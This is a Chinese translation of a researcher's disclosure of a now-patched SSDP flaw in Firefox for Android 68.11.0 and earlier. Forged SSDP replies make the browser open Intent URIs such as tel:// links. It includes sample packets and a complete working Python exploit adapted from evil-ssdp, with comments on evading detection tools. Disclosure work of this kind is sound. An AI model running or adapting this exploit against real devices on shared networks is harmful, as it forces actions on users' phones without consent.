背景
一开始,火狐浏览器桌面端一直使用的是单个进程来处理所有的浏览页标签,但自从2017年发布了Firefox Quantum之后,Firefox就已经能够分离出多个“内容管理进程”了。由于沙盒跟并行特性,这种修改后的体系结构将帮助火狐在浏览器安全性和性能方面取得很大进步。不幸的是,火狐浏览器的安卓端(代号为Fennec)并不能立即采用这项新技术。由于Fennec基于遗留的体系结构实现,并且拥有完全不同的用户界面,导致Fennec仍然是以单一进程执行的。但是直到2020年的秋天,最新版本的安卓端火狐浏览器组件已经得到了Android Components的支持,这些独立组件库可以为安卓生态系统带来最新的渲染技术,并帮助制作浏览器和类浏览器方面的应用程序。
正好恰逢新版本安卓端火狐浏览器的问世,GitLabs的安全红队研究人员克里斯·莫伯利(Chris Moberly)报告了以下几个旧版本浏览器中存在的安全漏洞。那么接下来,我们一起详细分析一下这几个安全漏洞。
概述
在今年的八月份,我在安卓端火狐浏览器引擎(v68.11.0及其之前版本)的简单服务发现协议(SSDP)中发现了一个安全漏洞。在这个漏洞的帮助下,一台恶意SSDP服务器将能够通过本地无线网络给任意用户发送安卓Intent URI,并强迫目标用户的火狐浏览器应用程序在不需要任何用户交互的情况下执行某些操作。这种情况,就类似于在用户毫不知情的情况下,攻击者直接使用目标用户的手机进行了点击操作。
不过,当我发现这个安全漏洞的时候,Mozilla已经发布了全新版本的火狐浏览器了,新版本中并不存在这个漏洞。实际上,当时我将该漏洞信息上报给Mozilla团队之后,存在漏洞的火狐浏览器版本还在Google Play商店中呆了好几个星期。但Mozilla团队在进行了一次彻底的安全检查之后,已经确保了最新版本火狐浏览器不会存在这个漏洞。
对一些公司来说,揭露漏洞可能是一个棘手的过程,但与Mozilla合作绝对是一种乐趣。我强烈建议你看看他们的漏洞奖励计划,看看你能做些什么!
漏洞发现
我很幸运能在GitLab上获得黑客攻击的报酬,但在为工作而进行了一天漫长的黑客攻击之后,我喜欢通过攻击其他东西来放松自己!在这个过程中我得出了一个结论:在过去的两年时间里,我一直在追寻的一个漏洞要么是不存在,要么就是根本超出了我的能力范围,至少现在我认为是这样的。不过这一路上过来,我也学到了很多东西,但现在是时候专注于新的东西了。
我的一个朋友一直在用安卓做一些很酷的事情,这激起了我的兴趣。我订了一本平装本《安卓黑客手册》,然后开始阅读和学习。当我学习新事物时,我喜欢拿上一本厚厚的书,然后在远离电脑屏幕的地方一点一点地阅读。不管怎样,我在读这本书的时候是有着浓厚兴趣的。我花了很多时间在Linux上进行黑客攻击,安卓基本上是一个抽象层的Linux。我希望我能找到一些熟悉的东西,然后调整我的一些旧技术,转而在移动安全领域中工作。
我在读到第二章时,书本介绍了关于安卓中给“Intent”的概念,其相关描述如下:
“Intent即消息对象,其中包含了一个待执行操作的相关信息。这里涵盖的几乎是安卓系统上的所有常见操作,例如点击邮件消息中的链接以启动浏览器,通知消息应用程序短信发送已到达,或安装和删除应用程序等等,这些都涉及到安卓系统中的Intent传递。”
这真的激起了我的兴趣,因为我花了很多时间研究在Linux下应用程序如何使用Unix域套接字和D-Bus之类的东西相互传递消息。这听起来很相似。于是我放下了这本书,开始在网上做一些调查研究。
安卓开发文档提供了关于“Intent”的一个很好的概述:基本上,开发人员可以通过Intent公开应用程序功能,他们可以创建一个名叫“Intent过滤器”的东西,然后告诉安卓系统它所期望接收到的消息对象类型。比如说,应用程序可以向您的联系人之一发送短消息。它不需要包含发送短消息所需的所有代码,而是可以编写一个Intent,其中包括收件人电话号码和消息正文等内容,然后将其发送到默认的消息传递应用程序,剩下的它就不用管了。
我发现非常有趣的一点是,虽然Intent通常是通过复杂函数内置在代码中的,但它们也可以表示为URI或链接。在上面的文本消息示例中,发送SMS的Intent URI可能如下所示:
sms://8675309?body=”hey%20there!”
实际上,如果你在安卓手机上阅读这篇文章时点击了上面这个链接的话,它应该会弹出你的默认短信应用程序,并填写电话号码和信息,因为你的点击行为触发了一个Intent:
以前的这些漏洞利用的是简单服务发现协议(SSDP)中的功能,在SSDP中,发起者将通过本地网络发送广播,询问任何可用服务的详细信息,如第二屏幕设备或联网扬声器等等。任何系统都可以用描述其特定服务的XML文件的位置的详细信息进行响应。然后,发起者将自动定位到该位置解析XML,以便更好地理解服务产品。
猜猜那个XML文件的位置是什么样子…没错,就是一个URI!
在我之前的SSDP漏洞研究中,我花了很多时间在家庭网络上运行Wireshark。我注意到的一件事是,我的安卓手机在使用Firefox移动应用程序时会发出SSDP消息。于是我试着用我当时能想到的所有技术攻击它,但我从未观察到任何奇怪的行为。
但是,当时的我并不了解Intent。那么现在,如果我们创建了一个恶意的SSDP服务器,将服务的地址作为安卓Intent URI来对外发布广播的话,会发生什么呢?让我们来看看!
情景分析
首先,我们看看使用Wireshark能捕捉到什么。我发现在运行火狐浏览器时,来自安卓手机的UDP数据包重会复出现,它们被发送到UDP多播地址239.255.255.250的1900端口,这意味着本地网络上的任何设备都可以看到这些数据包,并在它们选择时做出响应。数据包形式如下:
M-SEARCH * HTTP/1.1 HOST: 239.255.255.250:1900 MAN: "ssdp:discover" MX: 2 ST: roku:ecp
这是因为,火狐浏览器在询问网络上是否存在Roku设备。当然了,它还会询问其他类型的设备,但设备类型跟这个漏洞并没有关系。
这看起来有点像HTTP请求,而SSDP服务使用了两种类型的HTTP,而并非UDP:
1、HTTPMU:即通过UDP多播发送HTTP消息,这意味着请求会通过UDP来向整个网络进行广播。
2、HTTPU:即通过UDP单播发送HTTP消息,这意味着请求会通过UDP从一个主机直接发送至另一台主机。
如果我们网络上有Roku设备的话,它将会立即通过一个UDP单播数据包予以响应,包格式如下:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.100/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: roku:ecp
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::roku:ecp
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1
接下来,火狐刘阿龙年起将会在LOCATION头中请求URI(http://192.168.1.100/device-desc.xml),期望能找到一个XML文档来告诉它所有关于目标Roku设备的信息,以及跟它交互的方法。
此时,如果返回的消息并非http://192.168.1.100/device-desc.xml,而是一个安卓Intent URI的话,就有意思了。
这里,我使用了evil-ssdp工具进行了一些快速修改,然后将返回的数据包改成了下列形式:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: tel://666
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::roku:ecp
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1
注意,这里的LOCATION头我改成了“tel://666”这个URI,即安卓默认的拨号Intent。
此时,安卓设备的拨号器将会被调用:
漏洞利用PoC
为了测试这个技术,我还在官方模拟器上做了测试,结果发现都是可行的。只要PoC脚本还在运行,网络上任何运行了火狐浏览器的设备都将反复触发我通过LOCATION头发送的任意Intent。
PoC脚本代码:
#!/usr/bin/env python3
"""
Modified version of evil-ssdp designed to target Firefox for Android
versions 68.11.0 and lower.
evil-ssdp does a lot more, which is why some of this code may seem extra or
overkill. Sorry about that. :)
"""
from multiprocessing import Process
from email.utils import formatdate
import sys
import os
import re
import argparse
import socket
import struct
import signal
import random
import time
BANNER = r'''
_____ _____ .___
_/ ____\/ ____\______ ______ __| _/_____
\ __\\ __\/ ___// ___// __ |\____ \
| | | | \___ \ \___ \/ /_/ || |_> >
|__| |__| /____ >____ >____ || __/
\/ \/ \/|__|
...by initstring
'''
print(BANNER)
if sys.version_info < (3, 0):
print("\nSorry mate, you'll need to use Python 3+ on this one...\n")
sys.exit(1)
class PC:
"""PC (Print Color)
Used to generate some colorful, relevant, nicely formatted status messages.
"""
green = '\033[92m'
blue = '\033[94m'
orange = '\033[93m'
red = '\033[91m'
endc = '\033[0m'
ok_box = blue + '[*] ' + endc
note_box = green + '[+] ' + endc
warn_box = orange + '[!] ' + endc
msearch_box = blue + '[M-SEARCH] ' + endc
xml_box = green + '[XML REQUEST] ' + endc
detect_box = orange + '[OTHER] ' + endc
class SSDPListener:
"""UDP multicast listener for SSDP queries
This class object will bind to the SSDP-spec defined multicast address and
port. We can then receive data from this object, which will be capturing
the UDP multicast traffic on a local network.
"""
def __init__(self, local_ip, args):
self.sock = None
self.known_hosts = []
self.local_ip = local_ip
self.target = args.target
self.analyze_mode = args.analyze
ssdp_port = 1900 # Defined by SSDP spec, do not change
mcast_group = '239.255.255.250' # Defined by SSDP spec, do not change
server_address = ('', ssdp_port)
# The re below can help us identify obviously false requests
# from detection tools.
self.valid_st = re.compile(r'^[a-zA-Z0-9.\-_]+:[a-zA-Z0-9.\-_:]+$')
# Generating a new unique USD/UUID may help prevent signature-like
# detection tools.
self.session_usn = ('uuid:'
+ self.gen_random(8) + '-'
+ self.gen_random(4) + '-'
+ self.gen_random(4) + '-'
+ self.gen_random(4) + '-'
+ self.gen_random(12))
# Create the socket
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Bind to the server address
self.sock.bind(server_address)
# Tell the operating system to add the socket to
# the multicast group on for the interface on the specific IP.
group = socket.inet_aton(mcast_group)
mreq = struct.pack('4s4s', group, socket.inet_aton(self.local_ip))
self.sock.setsockopt(
socket.IPPROTO_IP,
socket.IP_ADD_MEMBERSHIP,
mreq)
@staticmethod
def gen_random(length):
"""Generates random hex strings"""
chars = 'abcdef'
digits = '0123456789'
value = ''.join(random.choices(chars + digits, k=length))
return value
def send_location(self, address, requested_st):
"""
This function replies back to clients letting them know where they can
access more information about our device. The keys here are the
'LOCATION' header and the 'ST' header.
When a client receives this information back on the port they
initiated a discover from, they will go to that location to look for an
XML file.
"""
url = self.target
date_format = formatdate(timeval=None, localtime=False, usegmt=True)
ssdp_reply = ('HTTP/1.1 200 OK\r\n'
'CACHE-CONTROL: max-age=1800\r\n'
'DATE: {}\r\n'
'EXT:\r\n'
'LOCATION: {}\r\n'
'OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01\r\n'
'01-NLS: {}\r\n'
'SERVER: UPnP/1.0\r\n'
'ST: {}\r\n'
'USN: {}::{}\r\n'
'BOOTID.UPNP.ORG: 0\r\n'
'CONFIGID.UPNP.ORG: 1\r\n'
'\r\n\r\n'
.format(date_format,
url,
self.session_usn,
requested_st,
self.session_usn,
requested_st))
ssdp_reply = bytes(ssdp_reply, 'utf-8')
self.sock.sendto(ssdp_reply, address)
def process_data(self, data, address):
"""
This function parses the raw data received on the SSDPListener class
object. If the M-SEARCH header is found, it will look for the specific
'Service Type' (ST) being requested and call the function to reply
back, telling the client that we have the device type they are looking
for.
The function will log the first time a client does a specific type of
M-SEARCH - after that it will be silent. This keeps the output more
readable, as clients can get chatty.
"""
remote_ip = address[0]
header_st = re.findall(r'(?i)\\r\\nST:(.*?)\\r\\n', str(data))
if 'M-SEARCH' in str(data) and header_st:
requested_st = header_st[0].strip()
if re.match(self.valid_st, requested_st):
if (address[0], requested_st) not in self.known_hosts:
print(PC.msearch_box + "New Host {}, Service Type: {}"
.format(remote_ip, requested_st))
self.known_hosts.append((address[0], requested_st))
if not self.analyze_mode:
self.send_location(address, requested_st)
else:
print(PC.detect_box + "Odd ST ({}) from {}. Possible"
"detection tool!".format(requested_st, remote_ip))
def process_args():
"""Handles user-passed parameters"""
parser = argparse.ArgumentParser()
parser.add_argument('interface', type=str, action='store',
help='Network interface to listen on.')
parser.add_argument('-t', '--target', type=str, default='tel://101',
help='Intent URI to triger. Default: tel://101')
parser.add_argument("-a", "--analyze", action="store_true", default=False,
help='Run in analyze mode')
args = parser.parse_args()
# The following two lines help to avoid command injection in bash.
# Pretty unlikely scenario for this tool, but who knows.
char_whitelist = re.compile('[^a-zA-Z0-9 ._-]')
args.interface = char_whitelist.sub('', args.interface)
return args
def get_ip(args):
"""
This function will attempt to automatically get the IP address of the
provided interface.
"""
ip_regex = r'inet (?:addr:)?(.*?) '
sys_ifconfig = os.popen('ifconfig ' + args.interface).read()
local_ip = re.findall(ip_regex, sys_ifconfig)
try:
return local_ip[0]
except IndexError:
print(PC.warn_box + "Could not get network interface info. "
"Please check and try again.")
sys.exit()
def print_details(args):
"""
Prints a banner at runtime, informing the user of relevant details.
"""
print("\n\n")
print("########################################")
print(PC.ok_box + "MSEARCH LISTENER: {}".format(args.interface))
print(PC.ok_box + "INTENT: {}".format(args.target))
if args.analyze:
print(PC.warn_box + "ANALYZE MODE: ENABLED")
print("########################################")
print("\n\n")
def listen_msearch(listener):
"""
Starts the listener object, receiving and processing UDP multicasts.
"""
while True:
data, address = listener.sock.recvfrom(1024)
listener.process_data(data, address)
def main():
"""Main program function
Uses Process to multi-thread the SSDP server (evil-ssdp also had a web
server, hence the setup).
"""
args = process_args()
local_ip = get_ip(args)
listener = SSDPListener(local_ip, args)
ssdp_server = Process(target=listen_msearch, args=(listener,))
print_details(args)
time.sleep(1.5)
try:
ssdp_server.start()
signal.pause()
except (KeyboardInterrupt, SystemExit):
print("\n" + PC.warn_box +
"Thanks for playing! Stopping threads and exiting...\n")
ssdp_server.terminate()
sys.exit()
if __name__ == "__main__":
main()
发表评论
您还未登录,请先登录。
登录